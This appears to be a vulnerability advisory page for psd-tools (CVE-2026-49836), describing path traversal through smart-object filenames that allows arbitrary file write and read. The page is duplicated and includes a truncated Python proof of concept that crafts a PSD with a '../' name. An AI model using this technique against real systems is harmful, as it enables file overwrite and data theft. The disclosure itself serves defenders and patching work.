psd-tools vulnerable to arbitrary file write via smart-object filename (CVE-2026-49836)
# psd-tools: arbitrary file write/read via smart-object path traversal ## Summary In `psd-tools` (all releases exposing the `SmartObject` API through **v1.17.0**), `SmartObject.save()` writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted `.psd` can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or `../`-traversing), outside its intended output directory. A secondary issue in `SmartObject.open()` for external-kind smart objects allows the attacker-controlled `fullPath` descriptor to be used as an arbitrary file **read** path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in **v1.17.1**. ## Details ### Write path — `SmartObject.save()` (primary) `src/psd_tools/api/smart_object.py:170-179` (tag `v1.17.0`): ```python def save(self, filename: str | None = None) -> None: if filename is None: filename = self.filename # untrusted, straight from the file with open(filename, "wb") as f: f.write(self.data) # attacker-controlled bytes ``` `self.filename` comes from the file with no validation — the `filename` property (`:62-67`) returns `self._data.filename`, set by the linked-layer parser at `src/psd_tools/psd/linked_layer.py:100` (`read_unicode_string(fp)`). There is no `basename`, no absolute path rejection, and no `..` filtering; the written contents (`self.data`) are likewise from the file, so the attacker controls both destination and content. ### Read path — `SmartObject.open()` / `.data` for external kind (secondary) For `kind == "external"`, `save()` read file content via the `data` property, which called `open()` with no `external_dir` constraint. The `fullPath` descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause `save(directory="/safe/out")` to read an arbitrary readable file (e.g. `/etc/passwd`) and write its contents to the output directory. ## Proof of concept Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request. ```bash pip install psd-tools==1.17.0 python poc.py ``` `poc.py` builds two PSDs from the project's own `placedLayer.psd` fixture (included as `base.psd`), differing **only** in the embedded smart-object name — `control` is a bare basename, `exploit` is `../../PWNED-psd-tools-poc.bin` — then extracts each like a consumer would: ```python import os, shutil, tempfile from psd_tools import PSDImage from psd_tools.constants import Tag MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n" NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"} def craft(name, out): psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd")) uuid = next(l.smart_object.unique_id for l in psd.descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL): for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []: if item.uuid.strip("\x00") == uuid: item.filename, item.data = name, MARKER psd.save(out) def extract(psd_path, outdir, watch): psd = PSDImage.open(psd_path) before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} cwd = os.getcwd(); os.chdir(outdir) try: for l in psd.descendants(): if l.kind == "smartobject" and l.smart_object.kind == "data": l.smart_object.save() finally: os.chdir(cwd) after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} return sorted(after - before) def main(): tmp = tempfile.mkdtemp(prefix="poc_") try: escaped = {} for tag, name in NAMES.items(): psd = os.path.join(tmp, tag + ".psd"); craft(name, psd) so = next(l.smart_object for l in PSDImage.open(psd).descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") print(f"[{tag}] parsed embedded name = {so.filename!r}") outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir) written = extract(psd, outdir, tmp); out = os.path.realpath(outdir) esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc for w in written: print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}") ok = (not escaped["control"] and escaped["exploit"] and all(open(w, "rb").read() == MARKER for w in escaped["exploit"])) print("\nVERDICT:",
AI Analysis
Technical Summary
In psd-tools versions up to 1.17.0, the SmartObject.save() method writes embedded smart objects to file paths taken directly from the PSD file without sanitization, enabling arbitrary file write through path traversal (e.g., using '../'). The filename property is attacker-controlled and unsanitized, allowing writes outside the intended directory. Additionally, SmartObject.open() for external-kind smart objects uses an attacker-controlled fullPath descriptor without directory constraints, allowing arbitrary file reads. These vulnerabilities enable an attacker to write arbitrary bytes to arbitrary paths and read arbitrary files, potentially exfiltrating sensitive data. Both issues are fixed in version 1.17.1.
Potential Impact
An attacker who can supply or manipulate PSD files processed by psd-tools up to version 1.17.0 can cause the software to write arbitrary data to arbitrary filesystem locations, potentially overwriting critical files. They can also read arbitrary files from the filesystem and write their contents to an output directory, enabling data exfiltration. This can lead to unauthorized file modification and disclosure.
Mitigation Recommendations
Upgrade psd-tools to version 1.17.1 or later, where these vulnerabilities are fixed. The vendor advisory confirms that versions prior to 1.17.1 are affected and that the issues are resolved in 1.17.1. No other mitigations are specified.
psd-tools vulnerable to arbitrary file write via smart-object filename (CVE-2026-49836)
Description
# psd-tools: arbitrary file write/read via smart-object path traversal ## Summary In `psd-tools` (all releases exposing the `SmartObject` API through **v1.17.0**), `SmartObject.save()` writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted `.psd` can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or `../`-traversing), outside its intended output directory. A secondary issue in `SmartObject.open()` for external-kind smart objects allows the attacker-controlled `fullPath` descriptor to be used as an arbitrary file **read** path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in **v1.17.1**. ## Details ### Write path — `SmartObject.save()` (primary) `src/psd_tools/api/smart_object.py:170-179` (tag `v1.17.0`): ```python def save(self, filename: str | None = None) -> None: if filename is None: filename = self.filename # untrusted, straight from the file with open(filename, "wb") as f: f.write(self.data) # attacker-controlled bytes ``` `self.filename` comes from the file with no validation — the `filename` property (`:62-67`) returns `self._data.filename`, set by the linked-layer parser at `src/psd_tools/psd/linked_layer.py:100` (`read_unicode_string(fp)`). There is no `basename`, no absolute path rejection, and no `..` filtering; the written contents (`self.data`) are likewise from the file, so the attacker controls both destination and content. ### Read path — `SmartObject.open()` / `.data` for external kind (secondary) For `kind == "external"`, `save()` read file content via the `data` property, which called `open()` with no `external_dir` constraint. The `fullPath` descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause `save(directory="/safe/out")` to read an arbitrary readable file (e.g. `/etc/passwd`) and write its contents to the output directory. ## Proof of concept Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request. ```bash pip install psd-tools==1.17.0 python poc.py ``` `poc.py` builds two PSDs from the project's own `placedLayer.psd` fixture (included as `base.psd`), differing **only** in the embedded smart-object name — `control` is a bare basename, `exploit` is `../../PWNED-psd-tools-poc.bin` — then extracts each like a consumer would: ```python import os, shutil, tempfile from psd_tools import PSDImage from psd_tools.constants import Tag MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n" NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"} def craft(name, out): psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd")) uuid = next(l.smart_object.unique_id for l in psd.descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL): for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []: if item.uuid.strip("\x00") == uuid: item.filename, item.data = name, MARKER psd.save(out) def extract(psd_path, outdir, watch): psd = PSDImage.open(psd_path) before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} cwd = os.getcwd(); os.chdir(outdir) try: for l in psd.descendants(): if l.kind == "smartobject" and l.smart_object.kind == "data": l.smart_object.save() finally: os.chdir(cwd) after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs} return sorted(after - before) def main(): tmp = tempfile.mkdtemp(prefix="poc_") try: escaped = {} for tag, name in NAMES.items(): psd = os.path.join(tmp, tag + ".psd"); craft(name, psd) so = next(l.smart_object for l in PSDImage.open(psd).descendants() if l.kind == "smartobject" and l.smart_object.kind == "data") print(f"[{tag}] parsed embedded name = {so.filename!r}") outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir) written = extract(psd, outdir, tmp); out = os.path.realpath(outdir) esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc for w in written: print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}") ok = (not escaped["control"] and escaped["exploit"] and all(open(w, "rb").read() == MARKER for w in escaped["exploit"])) print("\nVERDICT:",
CVSS v4.0
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
In psd-tools versions up to 1.17.0, the SmartObject.save() method writes embedded smart objects to file paths taken directly from the PSD file without sanitization, enabling arbitrary file write through path traversal (e.g., using '../'). The filename property is attacker-controlled and unsanitized, allowing writes outside the intended directory. Additionally, SmartObject.open() for external-kind smart objects uses an attacker-controlled fullPath descriptor without directory constraints, allowing arbitrary file reads. These vulnerabilities enable an attacker to write arbitrary bytes to arbitrary paths and read arbitrary files, potentially exfiltrating sensitive data. Both issues are fixed in version 1.17.1.
Potential Impact
An attacker who can supply or manipulate PSD files processed by psd-tools up to version 1.17.0 can cause the software to write arbitrary data to arbitrary filesystem locations, potentially overwriting critical files. They can also read arbitrary files from the filesystem and write their contents to an output directory, enabling data exfiltration. This can lead to unauthorized file modification and disclosure.
Mitigation Recommendations
Upgrade psd-tools to version 1.17.1 or later, where these vulnerabilities are fixed. The vendor advisory confirms that versions prior to 1.17.1 are affected and that the issues are resolved in 1.17.1. No other mitigations are specified.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-2rmg-vrx8-9j2f
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2026-49836"]
- Ecosystems
- ["PyPI"]
- Database Specific Severity
- MODERATE
- Cvss Version
- 4.0
Threat ID: 6a50ba3c68715ace4357db17
Added to database: 07/10/2026, 09:24:12 UTC
Last enriched: 07/10/2026, 09:33:13 UTC
Last updated: 07/31/2026, 13:16:48 UTC
Views: 40
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.